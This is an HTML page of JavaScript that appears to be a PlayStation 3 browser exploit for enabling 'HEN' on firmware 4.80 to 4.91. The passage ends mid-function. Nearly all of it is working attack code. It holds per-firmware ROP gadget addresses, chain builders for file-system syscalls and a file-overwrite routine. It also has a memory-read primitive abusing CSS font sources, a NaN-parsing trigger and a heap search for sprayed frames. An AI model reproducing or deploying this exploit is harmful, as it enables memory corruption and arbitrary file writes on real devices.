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usb006.html
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<html lang="en">
<body>
<script>
var xtra_data,
stack_frame,
jump_2,
jump_1,
xtra_data_addr,
stack_frame_addr,
jump_2_addr,
jump_1_addr,
index_key = "DA7D4B5E499A4F53B1C1A14A7484443B",
start_x = "xxxx",
offset_array = [],
t_out = 0,
ps3xploit_ecdsa_key_addr = 0,
index_key_addr = 0,
search_max_threshold = 73400320,
search_base = 2148532224,
mbytes = 1048576,
search_size = 2 * mbytes,
search_base_off = 0,
search_size_ext = 0,
gtemp_addr = 2365587456,
total_loops = 0,
max_loops = 20,
frame_fails = 0,
sp_exit = 2413354176,
ffs = 4294967295,
dbyte41 = 16705,
dbyte00 = 0,
byte_size = 1,
hword_size = 2,
word_size = 4,
dword_size = 8,
stat_size_offset = 40,
toc_addr = 7296336,
gadget1_addr = 620036,
gadget8_addr = 131072,
gadget_mod1_addr = 6352696,
gadget_mod2_addr = 80756,
gadget_mod3_addr = 757248,
gadget_mod4a_addr = 890500,
gadget_mod7_addr = 108204,
gadget_mod8_addr = 2862264,
gadget_mod4b_addr = 0x42c778,
gadget_mod4c_addr = 0x054af0,
gadget_mod15_addr = 0x39d038,
gadget_mod12_addr = 0x63315c,
gadget_mod9_addr = 0x010b20,
ua = navigator.userAgent,
fwv = ua.substring(ua.indexOf("5.0 (") + 19, ua.indexOf(") Apple")),
// dlcount = 1,
progress_msg_frag1 = "<h1>Enabling <s>H\u24d4N</s> ",
progress_msg_frag2 = "%</h1>",
fail_msg_frag =
'<div id="c" class="fail"></div><div id="d"><s>H\u24d4N</s> <b>Exploit initialization failed!</b></div>',
sc_fs_open = 0x321,
sc_fs_read = 0x322,
sc_fs_write = 0x323,
sc_fs_close = 0x324,
sc_fs_stat = 0x328;
if (fwv == "4.80") {
(toc_addr = 7296288),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6350216),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376448),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862256),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6498220),
(gadget_mod15_addr = 3788864);
}
if (fwv == "4.81") {
(toc_addr = 7296288),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6350236),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376436),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862260),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6498240),
(gadget_mod15_addr = 3788852);
}
if (fwv == "4.82") {
(toc_addr = 7296336),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352696),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376440),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862264),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500700),
(gadget_mod15_addr = 3788856);
}
if (fwv == "4.83") {
(toc_addr = 7296344),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352856),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376440),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862264),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500860),
(gadget_mod15_addr = 3788856);
}
if (fwv == "4.84") {
(toc_addr = 7296344),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352856),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376440),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862264),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500860),
(gadget_mod15_addr = 3788856);
}
if (fwv == "4.85") {
(toc_addr = 7296344),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352856),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376440),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862264),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500860),
(gadget_mod15_addr = 3788856);
}
if ((fwv==="4.86") || (fwv==="4.87") || (fwv==="4.88") || (fwv==="4.89") || (fwv==="4.91")) {
(toc_addr = 7296344),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352856),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376440),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862264),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500860),
(gadget_mod15_addr = 3788856);
}
if (fwv == "4.90") {
(toc_addr = 7296344),
(gadget1_addr = 620036),
(gadget8_addr = 131072),
(gadget_mod1_addr = 6352848),
(gadget_mod2_addr = 80756),
(gadget_mod3_addr = 757248),
(gadget_mod4a_addr = 890500),
(gadget_mod4b_addr = 4376436),
(gadget_mod4c_addr = 346864),
(gadget_mod7_addr = 108204),
(gadget_mod8_addr = 2862260),
(gadget_mod9_addr = 68384),
(gadget_mod12_addr = 6500852),
(gadget_mod15_addr = 3788852);
}
function showResult(str) {
document.getElementById("result").innerHTML = str;
}
function syscall_r3_p2p(sc, r3_ptr, r4, r5, r6, r7, r8, r9, r10, r31out) {
if (r31out === null) {
r31out = gtemp_addr;
}
return (
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod1_addr) +
fill_by_16bytes(0x50, dbyte41) +
fill_by_4bytes(0xc, dbyte41) +
hexw2bin(sc) +
hexw2bin(r10) +
hexw2bin(r8) +
hexw2bin(r7) +
hexw2bin(r6) +
hexw2bin(r5) +
hexw2bin(r4) +
fill_by_4bytes(0x4, dbyte41) +
hexw2bin(r9) +
fill_by_16bytes(0x20, dbyte41) +
hexdw2bin(r3_ptr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod4b_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function syscall_r3r5_p2p(
sc,
r3_ptr,
r4,
r5_ptr,
r6,
r7,
r8,
r9,
r10,
r31out
) {
if (r31out === null) {
r31out = gtemp_addr;
}
return (
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod1_addr) +
fill_by_16bytes(0x50, dbyte41) +
fill_by_4bytes(0xc, dbyte41) +
hexw2bin(sc) +
hexw2bin(r10) +
hexw2bin(r8) +
hexw2bin(r7) +
hexw2bin(r6) +
fill_by_4bytes(0x4, dbyte41) +
hexw2bin(r4) +
fill_by_4bytes(0x4, dbyte41) +
hexw2bin(r9) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(r5_ptr - 0x4) +
hexdw2bin(gtemp_addr) +
fill_by_8bytes(0x18, dbyte41) +
hexdw2bin(gadget_mod4c_addr) +
fill_by_16bytes(0xb0, dbyte41) +
hexdw2bin(r3_ptr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod4b_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function copy_file_overwrite(
frm,
to,
fd_frm,
fd_to,
buf,
rlen,
wlen,
stat,
nl,
st_size
) {
return (
memcpy(stat + stat_size_offset, nl, dword_size) +
syscall(sc_fs_stat, frm, stat, 0, 0, 0, 0, 0, 0) +
memcpy(st_size, stat + stat_size_offset, word_size) +
syscall(sc_fs_open, frm, fs_flag_readonly, fd_frm, 0, 0, 0, 0, 0) +
syscall_r3r5_p2p(
sc_fs_read,
fd_frm,
buf,
stat + stat_size_offset,
rlen,
0,
0,
0,
0,
0,
0
) +
syscall_r3_p2p(sc_fs_close, fd_frm, 0, 0, 0, 0, 0, 0, 0, 0, 0) +
validate_word_from_ptr(rlen + 0x4, to, 0) +
syscall(sc_fs_open, to, fs_flag_create, fd_to, fs_mode, nl, 0, 0, 0) +
syscall_r3r5_p2p(
sc_fs_write,
fd_to,
buf,
stat + stat_size_offset,
wlen,
0,
0,
0,
0,
0,
0
) +
syscall_r3_p2p(sc_fs_close, fd_to, 0, 0, 0, 0, 0, 0, 0, 0, 0)
);
}
function load_r3_word_from_ptr_32(
offset,
r26out,
r27out,
r28out,
r29out,
r30out,
r31out
) {
return (
hexdw2bin(gadget_mod3_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
hexdw2bin(offset - 0x8) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod15_addr) +
fill_by_16bytes(0x50, dbyte41) +
fill_by_8bytes(0x8, dbyte41) +
hexdw2bin(r26out) +
hexdw2bin(r27out) +
hexdw2bin(r28out) +
hexdw2bin(r29out) +
hexdw2bin(r30out) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function validate_word_from_ptr(
w_ptr,
opt_store,
val,
r29out,
r30out,
r31out
) {
if (r29out === null) {
r29out = gtemp_addr;
}
if (r30out === null) {
r30out = gtemp_addr;
}
if (r31out === null) {
r31out = gtemp_addr;
}
return (
load_r3_word_from_ptr_32(
w_ptr,
gtemp_addr,
gtemp_addr,
gtemp_addr,
gtemp_addr,
opt_store,
gtemp_addr
) +
hexdw2bin(gadget_mod12_addr) +
fill_by_16bytes(0x70, dbyte00) +
fill_by_8bytes(0x8, dbyte00) +
hexdw2bin(val) +
fill_by_16bytes(0x10, dbyte00) +
hexdw2bin(r29out) +
hexdw2bin(r30out) +
hexdw2bin(r31out) +
hexdw2bin(val) +
fill_by_8bytes(0x8, dbyte41)
);
}
function hexh2bin(hex_val) {
return String.fromCharCode(hex_val);
}
function hexw2bin(hex_val) {
return (
String.fromCharCode(hex_val >> 16) + String.fromCharCode(hex_val)
);
}
function hexdw2bin(hex_val) {
return hexw2bin(0) + hexw2bin(hex_val);
}
String.prototype.toHex16 = function() {
return ("0000" + this).substr(-4);
};
String.prototype.toAscii = function(hex_16) {
var ascii = "";
var i = 0;
while (i < this.length) {
if (hex_16 === true) {
ascii += this.charCodeAt(i)
.toString(16)
.toHex16();
} else {
ascii += this.charCodeAt(i).toString(16);
}
i += 1;
}
return ascii;
};
String.prototype.convert = function(ascii) {
if (this.length < 1) {
return "";
}
var asciistr = "";
var asciichr = "";
var i = 0;
var ret = [];
if (ascii === true) {
asciistr = this;
} else {
asciistr = this.toAscii();
}
while (asciistr.length % 4 !== 0) {
asciistr += "00";
}
if (asciistr.substr(asciistr.length - 3, 2) !== "00") {
asciistr += "0000";
}
while (i < asciistr.length) {
asciichr = asciistr.substr(i, 4);
ret.push(String.fromCharCode(parseInt(asciichr, 16)));
i += 4;
}
return ret.join("");
};
String.prototype.convertedSize = function(ascii) {
if (this.length < 1) {
return 0;
}
var asciistr = "";
if (ascii === true) {
asciistr = this;
} else {
asciistr = this.toAscii();
}
while (asciistr.length % 4 !== 0) {
asciistr += "00";
}
if (asciistr.substr(asciistr.length - 3, 2) !== "00") {
asciistr += "0000";
}
return asciistr.length / 2;
};
String.prototype.replaceAt = function(index, ch) {
return this.substr(0, index) + ch + this.substr(index + ch.length);
};
String.prototype.repeat = function(num) {
return new Array(num + 1).join(this);
};
Number.prototype.noExponents = function() {
var data = String(this).split(/[eE]/);
if (data.length === 1) {
return data[0];
}
var z = "",
sign = this < 0 ? "-" : "",
str = data[0].replace(".", ""),
mag = Number(data[1]) + 1;
if (mag < 0) {
z = sign + "0.";
while (mag++) {
z += "0";
}
return z + str.replace(/^\-/, "");
}
mag -= str.length;
while (mag--) {
z += "0";
}
return str + z;
};
function fromIEEE754(bytes, ebits, fbits) {
var retNumber = 0;
var bits = [];
var i;
var j;
var byte;
for (i = bytes.length; i; i -= 1) {
byte = bytes[i - 1];
for (j = 8; j; j -= 1) {
bits.push(byte % 2 ? 1 : 0);
byte = byte >> 1;
}
}
bits.reverse();
var str = bits.join("");
var bias = (1 << (ebits - 1)) - 1;
var s = parseInt(str.substring(0, 1), 2) ? -1 : 1;
var e = parseInt(str.substring(1, 1 + ebits), 2);
var f = parseInt(str.substring(1 + ebits), 2);
if (e === (1 << ebits) - 1) {
retNumber = f !== 0 ? NaN : s * Infinity;
} else if (e > 0) {
retNumber = s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits));
} else if (f !== 0) {
retNumber = s * Math.pow(2, -(bias - 1)) * (f / Math.pow(2, fbits));
} else {
retNumber = s * 0;
}
return retNumber.noExponents();
}
function generateIEEE754(address, size) {
var hex = new Array(
(address >> 24) & 0xff,
(address >> 16) & 0xff,
(address >> 8) & 0xff,
address & 0xff,
(size >> 24) & 0xff,
(size >> 16) & 0xff,
(size >> 8) & 0xff,
size & 0xff
);
return fromIEEE754(hex, 11, 52);
}
function generateExploit(address, size) {
var n = (address << 32) | ((size >> 1) - 1);
return generateIEEE754(address, n - address);
}
function readMemory(address, size) {
if (document.getElementById("exploit")) {
document.getElementById("exploit").style.src =
"local(" + generateExploit(address, size) + ")";
}
}
function checkMemory(address, size, len) {
if (document.getElementById("exploit")) {
readMemory(address, size);
return document.getElementById("exploit").style.src.substr(6, len);
}
}
function trigger(exploit_addr) {
if (document.getElementById("trigger")) {
document.getElementById("trigger").innerHTML = -parseFloat(
"NAN(ffffe" + exploit_addr.toString(16) + ")"
);
}
}
function load_check() {
if (total_loops < max_loops) {
//showResult(progress_msg_frag1+((100/max_loops)*total_loops).toString()+progress_msg_frag2);
t_out = setTimeout(initROP, 500, false);
} else {
total_loops = 0;
showResult(fail_msg_frag);
t_out = 0;
}
}
function load_check2() {
if (total_loops < max_loops) {
//showResult(progress_msg_frag1+((100/max_loops)*total_loops).toString()+progress_msg_frag2);
t_out = setTimeout(initROP2, 500, false);
} else {
total_loops = 0;
showResult(fail_msg_frag);
2;
t_out = 0;
}
}
function findJsVariableOffset(name, exploit_data, base, size) {
readMemory(base, size);
var dat = document.getElementById("exploit").style.src.substr(6, size);
var i = 0;
var t;
var k;
var match;
var exploit_addr;
while (i < dat.length * 2) {
if (dat.charCodeAt(i / 2) === exploit_data.charCodeAt(0)) {
match = 0;
for (k = 0; k < exploit_data.length * 2; k += 0x2) {
if (
dat.charCodeAt((i + k) / 2) !== exploit_data.charCodeAt(k / 2)
) {
break;
}
match += 1;
}
if (match === exploit_data.length) {
exploit_addr = base + i + 4;
for (t = 0; t < offset_array.length; t += 1) {
if (offset_array[t] === exploit_addr) {
return -1;
}
}
offset_array.push(exploit_addr);
return exploit_addr;
}
}
i += 0x10;
}
var end_range = base + size;
return 0;
}
function memcpy(dest, src, len) {
return callsub(gadget8_addr, dest, src, len, 0, 0, 0, 0, 0, 0, 0x70);
}
function stack_frame_hookup() {
return (
unescape("\u4141\u2A2F") +
hexw2bin(gadget1_addr) +
hexw2bin(toc_addr) +
fill_by_16bytes(0x20, dbyte41) +
hexdw2bin(toc_addr) +
fill_by_16bytes(0x70, dbyte41)
);
}
function stack_frame_exit() {
return hexdw2bin(gadget_mod8_addr) + unescape("\u2F2A");
}
function syscall(sc, r3, r4, r5, r6, r7, r8, r9, r10, r31out) {
if (r31out === null) {
r31out = gtemp_addr;
}
return (
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod1_addr) +
fill_by_16bytes(0x50, dbyte41) +
fill_by_4bytes(0xc, dbyte41) +
hexw2bin(sc) +
hexw2bin(r10) +
hexw2bin(r8) +
hexw2bin(r7) +
hexw2bin(r6) +
hexw2bin(r5) +
hexw2bin(r4) +
fill_by_4bytes(0x4, dbyte41) +
hexw2bin(r9) +
fill_by_16bytes(0x20, dbyte41) +
hexdw2bin(r3) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod4a_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function callsub(
sub,
r3,
r4,
r5,
r6,
r7,
r8,
r9,
r10,
r11,
sub_frame_size,
r31in,
r31out
) {
var min_stack_size = 0x20;
if (r31out === null) {
r31out = gtemp_addr;
}
if (r31in === null) {
r31in = gtemp_addr;
}
return (
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(gtemp_addr) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod1_addr) +
fill_by_16bytes(0x50, dbyte41) +
fill_by_4bytes(0xc, dbyte41) +
hexw2bin(r11) +
hexw2bin(r10) +
hexw2bin(r8) +
hexw2bin(r7) +
hexw2bin(r6) +
hexw2bin(r5) +
hexw2bin(r4) +
fill_by_4bytes(0x4, dbyte41) +
hexw2bin(r9) +
fill_by_16bytes(0x20, dbyte41) +
hexdw2bin(r3) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod2_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(r31in) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(sub) +
fill_by_16bytes(sub_frame_size - min_stack_size, dbyte00) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function fillNbytes(nbytes, hex_val, N) {
var stemp = "",
iterator = 0,
tmp = hexh2bin(hex_val);
while (iterator < nbytes / N) {
stemp += tmp.repeat(N / 2);
iterator++;
}
return stemp;
}
function fill_by_4bytes(nbytes, hex_val) {
return fillNbytes(nbytes, hex_val, 4);
}
function fill_by_8bytes(nbytes, hex_val) {
return fillNbytes(nbytes, hex_val, 8);
}
function fill_by_16bytes(nbytes, hex_val) {
return fillNbytes(nbytes, hex_val, 16);
}
function store_word(store_offset, val, r29out, r30out, r31out) {
if (r29out === null) {
r29out = gtemp_addr;
}
if (r30out === null) {
r30out = gtemp_addr;
}
if (r31out === null) {
r31out = gtemp_addr;
}
return (
hexdw2bin(gadget_mod3_addr) +
fill_by_16bytes(0x60, dbyte41) +
hexdw2bin(val) +
fill_by_8bytes(0x8, dbyte41) +
hexdw2bin(store_offset - 0xc74) +
fill_by_16bytes(0x10, dbyte41) +
hexdw2bin(gadget_mod7_addr) +
fill_by_16bytes(0x70, dbyte41) +
hexdw2bin(r29out) +
hexdw2bin(r30out) +
hexdw2bin(r31out) +
hexdw2bin(sp_exit) +
fill_by_8bytes(0x8, dbyte41)
);
}
function strncmp(str1, str2, n) {
str1 = str1.substring(0, n);
str2 = str2.substring(0, n);
return str1 == str2 ? 0 : str1 > str2 ? 1 : -1;
}
function rop_exit_hen(fail) {
// // operations to execute on ROP exit
var chk = "53434500";
var chk2 = checkMemory(0x8a000000, 0x10, 3);
chk2 = chk2.toAscii(true);
if (strncmp(chk, chk2, 4) != 0) {
showResult(
'<div id="c" class="fail"></div><b>Failed! Rebooting!</b>'
);
initROP2(true);
} else {
window.close();
}
}
function initROP2(init) {
try {
if (init === true) {
frame_fails = 0;
search_base_off = 0;
search_size_ext = 0;
total_loops = 0;
}
if (t_out !== 0) {
clearTimeout(t_out);
t_out = 0;
}
offset_array = [];
stack_frame_addr = 0;
jump_2_addr = 0;
jump_1_addr = 0;
search_max_threshold = 70 * 0x100000;
search_base = 0x80100000;
search_size = 2 * mbytes;
search_base_off = 0 * mbytes;
search_size_ext = 0 * mbytes;
total_loops++;
// store_idx_arr1 = [];
// store_idx_arr2 = [];
stack_frame = stack_frame_hookup() + stack_frame_swap(0x8a060000);
while (stack_frame_addr === 0) {
if (search_max_threshold < search_size + search_size_ext) {
frame_fails++;
if (frame_fails % 10 === 0) {
search_base_off += 0;
search_size_ext += 0;
}
load_check2();
return;
}
stack_frame = stack_frame.replaceAt(0, hexh2bin(0x2a2f));
stack_frame_addr = findJsVariableOffset(
"stack_frame",
stack_frame,
search_base + search_base_off,
search_size + search_size_ext
);
if (stack_frame_addr == -1)
if (search_max_threshold < search_size + search_size_ext) {
frame_fails++;
load_check2();
return;
}
search_max_threshold -= search_size + search_size_ext;
}
jump_2 =
unescape("\u0102\u7EFB") +
fill_by_16bytes(0x30, 0x8282) +
hexw2bin(stack_frame_addr) +
unescape("\uFB7E");
while (jump_2_addr === 0) {
if (search_max_threshold < search_size) {
load_check2();
return;
}
jump_2 = jump_2.replaceAt(0, hexh2bin(0x7efb));
jump_2_addr = findJsVariableOffset(
"jump_2",
jump_2,
search_base,
search_size
);